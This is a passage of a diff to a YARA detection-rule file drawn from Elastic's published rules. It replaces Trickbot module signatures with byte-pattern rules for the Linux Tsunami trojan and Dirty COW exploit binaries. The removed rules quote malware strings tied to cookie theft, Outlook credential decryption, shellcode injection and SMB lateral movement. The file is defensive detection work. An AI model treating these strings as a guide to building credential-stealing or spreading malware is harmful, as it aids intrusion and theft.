+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L480-L498"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b0a8b2259c00d563aa387d7e1a1f1527405da19bf4741053f5822071699795e2"
+		logic_hash = "6f5313fc9e838bd06bd4e797ea7fb448073849dc714ecf18809f94900fa11ca2"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "55dbbcbc77ec51a378ad2ba8d56cb0811d23b121cacd037503fd75d08529c5b5"
-		threat_name = "Windows.Trojan.Trickbot"
+		fingerprint = "0a175d0ff64186d35b64277381f47dfafe559a42a3296a162a951f1b2add1344"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "module64.dll" ascii fullword
-		$a2 = "Size - %d kB" ascii fullword
-		$a3 = "%s - FAIL" wide fullword
-		$a4 = "%s - SUCCESS" wide fullword
-		$a5 = "ControlSystemInfoService" ascii fullword
-		$a6 = "<moduleconfig><autostart>yes</autostart></moduleconfig>" ascii fullword
-		$a7 = "Copy: %d" wide fullword
-		$a8 = "Start sc 0x%x" wide fullword
-		$a9 = "Create sc 0x%x" wide fullword
-		$a10 = "Open sc %d" wide fullword
-		$a11 = "ServiceInfoControl" ascii fullword
+		$a = { 20 79 6F 2C 0A 59 6A 02 5B 6A 04 58 CD 80 B3 7F 6A 01 58 CD }
 
 	condition:
-		3 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_0114D469 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_71D31510 : FILE MEMORY
 {
 	meta:
-		description = "Targets systeminfo64.dll module containing functionality use to retrieve system information"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "0114d469-8731-4f4f-8657-49cded5efadb"
-		date = "2021-03-29"
-		modified = "2021-08-23"
+		id = "71d31510-cd2c-4b61-b2cf-975d5ed70c93"
+		date = "2021-12-13"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L634-L667"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "083cb35a7064aa5589efc544ac1ed1b04ec0f89f0e60383fcb1b02b63f4117e9"
-		logic_hash = "6ca8e73f758d3fa956fe53cc83abb43806359f93df05c42a58e2f394a1a3c117"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L500-L518"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "33dd6c0af99455a0ca3908c0117e16a513b39fabbf9c52ba24c7b09226ad8626"
+		logic_hash = "18bfe9347faf1811686a61e0ee0de5cef842beb25fb06793947309135c41de89"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4f1fa072f4ba577d590bb8946ea9b9774aa291cb2406f13be5932e97e8e760c6"
-		threat_name = "Windows.Trojan.Trickbot"
+		fingerprint = "6c9f3f31e9dcdcd4b414e79e06f0ae633e50ef3e19a437c1b964b40cc74a57cb"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "<user>%s</user>" wide fullword
-		$a2 = "<service>%s</service>" wide fullword
-		$a3 = "<users>" wide fullword
-		$a4 = "</users>" wide fullword
-		$a5 = "%s%s%s</general>" wide fullword
-		$a6 = "<program>%s</program>" wide fullword
-		$a7 = "<moduleconfig><autostart>no</autostart><limit>2</limit></moduleconfig>" ascii fullword
-		$a8 = "<cpu>%s</cpu>" wide fullword
-		$a9 = "<ram>%s</ram>" wide fullword
-		$a10 = "</installed>" wide fullword
-		$a11 = "<installed>" wide fullword
-		$a12 = "<general>" wide fullword
-		$a13 = "SELECT * FROM Win32_Processor" wide fullword
-		$a14 = "SELECT * FROM Win32_OperatingSystem" wide fullword
-		$a15 = "SELECT * FROM Win32_ComputerSystem" wide fullword
+		$a = { 5C B3 C0 19 17 5E 7B 8B 22 16 17 E0 DE 6E 21 46 FB DD 17 67 }
 
 	condition:
-		6 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_07239Dad : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Tsunami_97288Af8 : FILE MEMORY
 {
 	meta:
-		description = "Targets vncDll64.dll module containing remote control VNC functionality"
+		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
 		author = "Elastic Security"
-		id = "07239dad-7f9e-4b20-a691-d9538405b931"
-		date = "2021-03-29"
-		modified = "2021-08-23"
+		id = "97288af8-f447-48ba-9df3-4e90f1420249"
+		date = "2021-12-13"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L669-L703"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "dbd534f2b5739f89e99782563062169289f23aa335639a9552173bedc98bb834"
-		logic_hash = "231592d1a45798de6d22c922626ca28ef4019bae95d552a0f2822823d8dec384"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Tsunami.yar#L520-L538"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c39eb055c5f71ebfd6881ff04e876f49495c0be5560687586fc47bf5faee0c84"
+		logic_hash = "c5b521cc887236a189dca419476758cee0f1513a8ad81c94b1ff42e4fe232b8e"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "32d63b8db4307fd67e2c9068e22f843f920f19279c4a40e17cd14943577e7c81"
-		threat_name = "Windows.Trojan.Trickbot"
+		fingerprint = "a1e20b699822b47359c8585ff01da06f585b9d7187a433fe0151394b16aa8113"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "C:\\Users\\MaxMikhaylov\\Documents\\Visual Studio 2010\\MMVNC.PROXY\\VNCSRV\\x64\\Release\\VNCSRV.pdb" ascii fullword
-		$a2 = "vncsrv.dll" ascii fullword
-		$a3 = "-new -noframemerging http://www.google.com" ascii fullword
-		$a4 = "IE.HTTP\\shell\\open\\command" ascii fullword
-		$a5 = "EDGE\\shell\\open\\command" ascii fullword
-		$a6 = "/K schtasks.exe |more" ascii fullword
-		$a7 = "<moduleconfig><needinfo name=\"id\"/><needinfo name=\"ip\"/></moduleconfig> " ascii fullword
-		$a8 = "\\Microsoft Office\\Office16\\outlook.exe" ascii fullword
-		$a9 = "\\Microsoft Office\\Office11\\outlook.exe" ascii fullword
-		$a10 = "\\Microsoft Office\\Office15\\outlook.exe" ascii fullword
-		$a11 = "\\Microsoft Office\\Office12\\outlook.exe" ascii fullword
-		$a12 = "\\Microsoft Office\\Office14\\outlook.exe" ascii fullword
-		$a13 = "TEST.TEMP:" ascii fullword
-		$a14 = "Chrome_WidgetWin" wide fullword
-		$a15 = "o --disable-gpu --disable-d3d11 --disable-accelerated-2d-canvas" ascii fullword
-		$a16 = "NetServerStart" ascii fullword
+		$a = { 61 6E 64 65 6D 6F 20 73 68 69 72 61 6E 61 69 20 77 61 20 79 6F 2C }
 
 	condition:
-		6 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_Fd7A39Af : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2016_5195_364F3B7B : FILE MEMORY CVE_2016_5195
 {
 	meta:
-		description = "Targets wormDll64.dll module containing spreading functionality"
+		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
 		author = "Elastic Security"
-		id = "fd7a39af-c6ea-4682-a00a-01f775c3bb8d"
-		date = "2021-03-29"
-		modified = "2021-08-23"
+		id = "364f3b7b-4361-44ca-bf49-e26c123ae4bd"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L705-L739"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d5bb8d94b71d475b5eb9bb4235a428563f4104ea49f11ef02c8a08d2e859fd68"
-		logic_hash = "15cb286504e6167c78e194488555f565965a03e7714fe16692a115df26985a01"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0d4c43bf0cdd6486a4bcab988517e58b8c15d276f41600e596ecc28b0b728e69"
+		logic_hash = "5950195453232e4752b58c9e466c4df1b5ca2b22d5325730de69cd4178438aa7"
 		score = 75
-		quality = 50
-		tags = "FILE, MEMORY"
-		fingerprint = "3f2e654f2ffdd940c27caec3faeb4bda24c797a17d0987378e36c1e16fadc772"
-		threat_name = "Windows.Trojan.Trickbot"
+		quality = 75
+		tags = "FILE, MEMORY, CVE-2016-5195"
+		fingerprint = "ec6cf1d090cd57434c4d3c1c3511fd4b683ff109bfd0ce859552d58cbb83984a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "module64.dll" ascii fullword
-		$a2 = "worming.png" wide
-		$a3 = "Size - %d kB" ascii fullword
-		$a4 = "[+] %s -" wide fullword
-		$a5 = "%s\\system32" ascii fullword
-		$a6 = "[-] %s" wide fullword
-		$a7 = "<moduleconfig><autostart>yes</autostart><sys>yes</sys><needinfo name=\"id\"/><needinfo name=\"ip\"/></moduleconfig>" ascii fullword
-		$a8 = "*****MACHINE IN WORKGROUP*****" wide fullword
-		$a9 = "*****MACHINE IN DOMAIN*****" wide fullword
-		$a10 = "\\\\%s\\IPC$" ascii fullword
-		$a11 = "Windows 5" ascii fullword
-		$a12 = "InfMach" ascii fullword
-		$a13 = "%s x64" wide fullword
-		$a14 = "%s x86" wide fullword
-		$a15 = "s(&(objectCategory=computer)(userAccountControl:" wide fullword
-		$a16 = "------MACHINE IN D-N------" wide fullword
+		$a = { 9C 01 7E 24 48 8B 45 90 48 8B 40 08 48 89 45 F8 48 8B 45 F8 48 }
 
 	condition:
-		5 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_2D89E9Cd : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2016_5195_3A2Ed31B : FILE MEMORY CVE_2016_5195
 {
 	meta:
-		description = "Targets tabDll64.dll module containing functionality using SMB for lateral movement"
+		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
 		author = "Elastic Security"
-		id = "2d89e9cd-2941-4b20-ab4e-a487d329ff76"
-		date = "2021-03-29"
-		modified = "2021-08-23"
+		id = "3a2ed31b-a8be-4aff-af5e-e1ff2676f3f9"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L741-L785"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3963649ebfabe8f6277190be4300ecdb68d4b497ac5f81f38231d3e6c862a0a8"
-		logic_hash = "c15833687c2aed55aae0bb5de83c088cb66edeb4ad1964543522f5477c1f1942"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ebbf3bc39ec661e2029d88960a5608e348de92089099019348bc0e891841690f"
+		logic_hash = "30cd10e38cbda719d9c344efd813e9a19e738a5251e3622957c8349e94366a29"
 		score = 75
-		quality = 73
-		tags = "FILE, MEMORY"
-		fingerprint = "e6eea38858cfbbe5441b1f69c5029ff9279e7affa51615f6c91981fe656294fc"
-		threat_name = "Windows.Trojan.Trickbot"
+		quality = 75
+		tags = "FILE, MEMORY, CVE-2016-5195"
+		fingerprint = "0e8e0f58deadf4838464c2f2bc860013e6d47c3d770d0ef743b5dd9021832cae"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" ascii fullword
-		$a2 = "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" ascii fullword
-		$a3 = "%SystemRoot%\\system32\\stsvc.exe" ascii fullword
-		$a4 = "[INJECT] inject_via_remotethread_wow64: pExecuteX64=0x%08p, pX64function=0x%08p, ctx=0x%08p" ascii fullword
-		$a5 = "DLL and target process must be same architecture" ascii fullword
-		$a6 = "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed" ascii fullword
-		$a7 = "%SystemDrive%\\stsvc.exe" ascii fullword
-		$a8 = "Wrote shellcode to 0x%x" ascii fullword
-		$a9 = "ERROR: %d, line - %d" wide fullword
-		$a10 = "[INJECT] inject_via_remotethread_wow64: Success, hThread=0x%08p" ascii fullword
-		$a11 = "GetProcessPEB:EXCEPT" wide fullword
-		$a12 = "Checked count - %i, connected count %i" wide fullword
-		$a13 = "C:\\%s\\%s C:\\%s\\%s" ascii fullword
-		$a14 = "C:\\%s\\%s" ascii fullword
-		$a15 = "%s\\ADMIN$\\stsvc.exe" wide fullword
-		$a16 = "%s\\C$\\stsvc.exe" wide fullword
-		$a17 = "Size - %d kB" ascii fullword
-		$a18 = "<moduleconfig><autostart>yes</autostart><sys>yes</sys><needinfo name=\"id\"/><needinfo name=\"ip\"/><autoconf><conf ctl=\"dpost"
-		$a19 = "%s - FAIL" wide fullword
-		$a20 = "%s - SUCCESS" wide fullword
-		$a21 = "CmainSpreader::init() CreateEvent, error code %i" wide fullword
-		$a22 = "Incorrect ModuleHandle %i, expect %i" wide fullword
-		$a23 = "My interface is \"%i.%i.%i.%i\", mask \"%i.%i.%i.%i\"" wide fullword
-		$a24 = "WormShare" ascii fullword
-		$a25 = "ModuleHandle 0x%08X, call Control: error create thread %i" wide fullword
-		$a26 = "Enter to Control: moduleHandle 0x%08X, unknown Ctl = \"%S\"" wide fullword
+		$a = { 55 48 89 E5 48 83 EC 30 48 89 7D D8 48 8B 45 D8 48 89 45 F0 BE 02 00 }
 
 	condition:
-		3 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_32930807 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2016_5195_7448814C : FILE MEMORY CVE_2016_5195
 {
 	meta:
-		description = "Targets cookiesdll.dll module containing functionality used to retrieve browser cookie data"
+		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
 		author = "Elastic Security"
-		id = "32930807-30bb-4c57-8e17-0da99a816405"
-		date = "2021-03-30"
-		modified = "2021-10-04"
+		id = "7448814c-1685-45a9-9a00-039b30485545"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L787-L808"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e999b83629355ec7ff3b6fda465ef53ce6992c9327344fbf124f7eb37808389d"
-		logic_hash = "e98503696bd72cab4d0d1633991bdb87c0537fd1e2d95507ccd474125328f318"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e95d0783b635e34743109d090af17aef2e507e8c90060d171e71d9ac79e083ba"
+		logic_hash = "0024b2cc22bf6c2dfc3b73ba91080cea8d502659db38d94b19338382e2fc0c84"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "0aeb68977f4926272f27d5fba44e66bdbb9d6a113da5d7b4133a379b06df4474"
-		threat_name = "Windows.Trojan.Trickbot"
+		tags = "FILE, MEMORY, CVE-2016-5195"
+		fingerprint = "25ffa8f3b2356deebc88d8831bc8664edd6543a7d722d6ddd72e89fad18c66e7"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "select name, encrypted_value, host_key, path, length(encrypted_value), creation_utc, expires_utc from cookies where datetime(exp"
-		$a2 = "Cookies send failure: servers unavailable" ascii fullword
-		$a3 = "<moduleconfig>"
+		$a = { 9C 01 7E 24 48 8B 45 90 48 8B 40 08 48 89 45 C0 48 8B 45 C0 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_618B27D2 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2016_5195_2Fa988E3 : FILE MEMORY CVE_2016_5195
 {
 	meta:
-		description = "Targets Outlook.dll module containing functionality used to retrieve Outlook data"
+		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
 		author = "Elastic Security"
-		id = "618b27d2-22ad-4542-86ed-7148f17971da"
-		date = "2021-03-30"
-		modified = "2021-08-23"
+		id = "2fa988e3-dfaf-44c8-bfaa-889778858e22"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L810-L843"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d3ec8f4a46b21fb189fc3d58f3d87bf9897653ecdf90b7952dcc71f3b4023b4e"
-		logic_hash = "e66a9dd7efdbff8b9e30119d0e99187e3dfa4ca1c1bc1ade0f8f1003d10e2620"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "679392e78d4abefc05b885e43aaccc2da235bd7f2a267c6ecfbe2cf824776993"
+		logic_hash = "55c3992ca62ebaf8d45aff818d3261838d239f2004125689ea81edca2cfa59c2"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "df4336e5cbca495dac4fe110bd7a727e91bb3d465f76d3f3796078332c13633c"
-		threat_name = "Windows.Trojan.Trickbot"
+		tags = "FILE, MEMORY, CVE-2016-5195"
+		fingerprint = "a841f4b929c79eadfa8deeb3a6f410056aec94dd1e0d9c8e5dc31675de936403"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "OutlookX32.dll" ascii fullword
-		$a2 = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" wide fullword
-		$a3 = "Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook" wide fullword
-		$a4 = "Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" wide fullword
-		$a5 = "OutlookX32" ascii fullword
-		$a6 = " Port:" wide fullword
-		$a7 = " User:" wide fullword
-		$a8 = " Pass:" wide fullword
-		$a9 = "String$" ascii fullword
-		$a10 = "outlookDecrU" ascii fullword
-		$a11 = "Cannot Decrypt" ascii fullword
-		$a12 = " Mail:" wide fullword
-		$a13 = " Serv:" wide fullword
-		$a14 = ",outlookDecr" ascii fullword
-		$a15 = "CryptApi" ascii fullword
+		$a = { 55 48 89 E5 48 83 EC 20 89 7D EC 89 75 E8 8B 45 E8 48 C1 E0 05 48 }
 
 	condition:
-		5 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_6Eb31E7B : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2016_5195_Ea8801Ac : FILE MEMORY CVE_2016_5195
 {
 	meta:
-		description = "Targets DomainDll module containing functionality using LDAP to retrieve credentials and configuration information"
+		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
 		author = "Elastic Security"
-		id = "6eb31e7b-9dc3-48ff-91fe-8c584729c415"
-		date = "2021-03-30"
-		modified = "2021-10-04"
+		id = "ea8801ac-ee95-4294-9cfa-99c773a04183"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L845-L872"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3e3d82ea4764b117b71119e7c2eecf46b7c2126617eafccdfc6e96e13da973b1"
-		logic_hash = "5b6902c8644c79bd183725f0e41bf2f7ae425bf0eb1dddea6fd1a38b77f176ba"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L81-L99"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7acccfd8c2e5555a3e3bf979ad2314c12a939c1ef32b66e61e30a712f07164fd"
+		logic_hash = "00a7f71a0559f937ace15465059147839598897467db6176040882d86111bcd2"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "d145b7c95bca0dc0c46a8dff60341a21dce474edd169dd0ee5ea2396dad60b92"
-		threat_name = "Windows.Trojan.Trickbot"
+		tags = "FILE, MEMORY, CVE-2016-5195"
+		fingerprint = "aa191347bdf2e9fdcf6f9591c370b85208a1c46a329bc648268447dbb5ea898f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "module32.dll" ascii fullword
-		$a2 = "Size - %d kB" ascii fullword
-		$a3 = "</moduleconfig> " ascii fullword
-		$a4 = "<moduleconfig>" ascii fullword
-		$a5 = "\\\\%ls\\SYSVOL\\%ls" wide fullword
-		$a6 = "DomainGrabber"
-		$a7 = "<autostart>yes</autostart>" ascii fullword
-		$a8 = "<needinfo name=\"id\"/>" ascii fullword
-		$a9 = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" wide fullword
+		$a = { 55 48 89 E5 48 83 EC 30 89 7D DC 48 89 75 D0 83 7D DC 02 7F 0A B8 01 00 }
 
 	condition:
-		5 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_91516Cf4 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2016_5195_B2Ebdebd : FILE MEMORY CVE_2016_5195
 {
 	meta:
-		description = "Generic signature used to identify Trickbot module usage"
+		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
 		author = "Elastic Security"
-		id = "91516cf4-c826-4d5d-908f-e1c0b3bccec5"
-		date = "2021-03-30"
-		modified = "2021-08-31"
+		id = "b2ebdebd-0110-46b4-a97f-27c4c495b23d"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L874-L896"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6cd0d4666553fd7184895502d48c960294307d57be722ebb2188b004fc1a8066"
-		logic_hash = "6c0bdd6827bebb337c0012cdb6e931cd96ce2ad61f3764f288b96ff049b2d007"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L101-L119"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "dee49d4b7f406fd1728dad4dc217484ced2586e014e2cd265ea64eff70a2633d"
+		logic_hash = "a9d6ffa65b503f9aa13a0054fa92e346c86585418b6b72131efc00340f8ec224"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "2667c7181fb4db3f5765369fc2ec010b807a7bf6e2878fc42af410f036c61cbe"
-		threat_name = "Windows.Trojan.Trickbot"
-		severity = 80
+		tags = "FILE, MEMORY, CVE-2016-5195"
+		fingerprint = "2a98a2d1be205145eb2d30a57aaa547b30281b31981f0872ba3f7e1d684a0cc2"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "<moduleconfig>" ascii wide
-		$a2 = "<autostart>" ascii wide
-		$a3 = "</autostart>" ascii wide
-		$a4 = "</moduleconfig>" ascii wide
+		$a = { 55 48 89 E5 48 83 EC 30 48 89 7D D8 48 8B 45 D8 48 89 45 F8 BE 02 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Trickbot_Be718Af9 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2016_5195_9190D516 : FILE MEMORY CVE_2016_5195
 {
 	meta:
-		description = "Targets permadll module used to fingerprint BIOS/firmaware data"
+		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
 		author = "Elastic Security"
-		id = "be718af9-5995-4ae2-ba55-504e88693c96"
-		date = "2021-03-30"
-		modified = "2021-08-23"
+		id = "9190d516-dea0-4d74-9f2c-bd2337538258"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Trickbot.yar#L898-L921"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c1f1bc58456cff7413d7234e348d47a8acfdc9d019ae7a4aba1afc1b3ed55ffa"
-		logic_hash = "d020f7d1637fc4ee3246e97c9acae0be1782e688154bd109f53f807211beebd7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L121-L139"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "837ffed1f23293dc9c7cb994601488fc121751a249ffde51326947c33c5fca7f"
+		logic_hash = "370248d2b6bb625d65f160b62f1b4a7d2809f3fedfb98a009b19dab61f0ba57e"
 		score = 75
-		quality = 25
-		tags = "FILE, MEMORY"
-		fingerprint = "047b1c64b8be17d4a6030ab2944ad715380f53a8a6dd9c8887f198693825a81d"
-		threat_name = "Windows.Trojan.Trickbot"
+		quality = 75
+		tags = "FILE, MEMORY, CVE-2016-5195"
+		fingerprint = "977bafd175a994edaef5f3fa19d19fe161cebb2447ee32fd5d4b0a3b93fb51fa"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "user_platform_check.dll" ascii fullword
-		$a2 = "<moduleconfig><nohead>yes</nohead></moduleconfig>" ascii fullword
-		$a3 = "DDEADFDEEEEE"
-		$a4 = "\\`Ruuuuu_Exs|_" ascii fullword
-		$a5 = "\"%pueuu%" ascii fullword
